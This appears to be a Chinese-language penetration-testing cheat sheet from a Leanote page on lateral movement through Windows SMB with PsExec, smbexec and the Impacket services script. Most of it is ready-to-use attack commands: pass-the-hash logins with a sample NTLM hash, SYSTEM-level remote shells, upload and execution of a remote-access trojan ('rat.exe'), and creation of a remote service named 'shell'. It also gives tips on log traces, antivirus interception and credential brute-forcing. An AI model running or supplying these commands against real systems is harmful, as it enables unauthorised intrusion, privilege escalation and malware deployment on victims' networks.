利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。
一、Psexec使用
利用Psexec需要目标开启admin$,并且会在目标创建服务(PSEXESVC )来执行,会在目标日志中留下大量合计,并且在实际利用中容易被各种杀软拦截,可以通过先建立IPC链接后使用或者直接提供用户凭证进行利用,利用过程如下:
1. 通过明文密码的方式获得目标主机的半交互式shell:
psexec \\192.168.1.2 cmd # 需要先有ipc链接 psexec \\192.168.1.2 -u administrator -p password cmd # 直接提供明文账户密码,可以不用建立IPC psexec \\192.168.1.2 -u administrator -p password -s cmd # -s 指定以System权限运行
2. 通过hash传递的方式获得远程主机的半交互式shell:
psexec -hashes :$HASH$ ./administrator@10.1.2.3 psexec -hashes :$HASH$ domain/administrator@10.1.2.3
3. 上传exe到目标执行:
psexec \\192.168.1.2 -u administrator -p password -c C:\Windows\Temp\rat.exe psexec -hashes :$HASH$ ./administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe psexec -hashes :$HASH$ domain/administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe
二、使用总结
1. Psexec 需要目标开启 admin$ 共享
2. Psexec 连接目标时会创建PSEXESVC 服务,退出时删除PSEXESVC 服务,会在目标日志系统留下大量痕迹
3. 通过Psexec获得交互式shell时,正常使用exit退出会删除目标机器上的PSEXESVC 服务,直接点 X 关闭可能导致目标服务无法删除。如果使用交互式shell执行阻塞的进程可能导出服务不能正常退出。
4. Psexec 该工具支持socks代理
三、SMBexec使用
基本上跟Psexec的功能相同,用法大致如下:
smbbexec ./admin:password@10.1.2.3 smbbexec domain/admin:password@10.1.2.3 smbbexec -hashes :$HASH$ ./admin:password@10.1.2.3 smbbexec -hashes :$HASH$ domain/admin:password@10.1.2.3
同样该工具也支持socks代理。
四、Service 使用
此脚本可用于通过[MS-SCMR] MSRPC接口操作Windows服务。它支持启动,停止,删除,状态,配置,列表,创建和更改。利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数。
services.exe -hashes :DBEF208C6485267C20DB2CAD21734FE6 ./administrator:@192.168.3.11 create -name shell -display shellexec -path C:\Windows\System32\shell.exe services.exe -hashes :DBEF208C6485267C20DB2CAD21734FE6 ./administrator:@192.168.3.11 start -name shell services.exe -hashes :DBEF208C6485267C20DB2CAD21734FE6 ./administrator:@192.168.3.11 status -name shell services.exe -hashes :DBEF208C6485267C20DB2CAD21734FE6 ./administrator:@192.168.3.11 delete -name shell
五、总结说明
通过SMB服务横向需要注意目标的系统,可以通过smb_version 或者 NetBIOS 协议进行判断。当目标系统为2008以上的系统时,默认不允许rid不是500的用户远程连接,也就是说只能允许Administrator账号连接。当2008以下系统时,只要是管理员组的账号即可。当前如果在域内,域管理员账号也可以。
可以通过smb_login模块爆破或者确定用户是否存在,同时该模块也会提示用户是否是管理员组的。
No Leanote account ? Sign up now.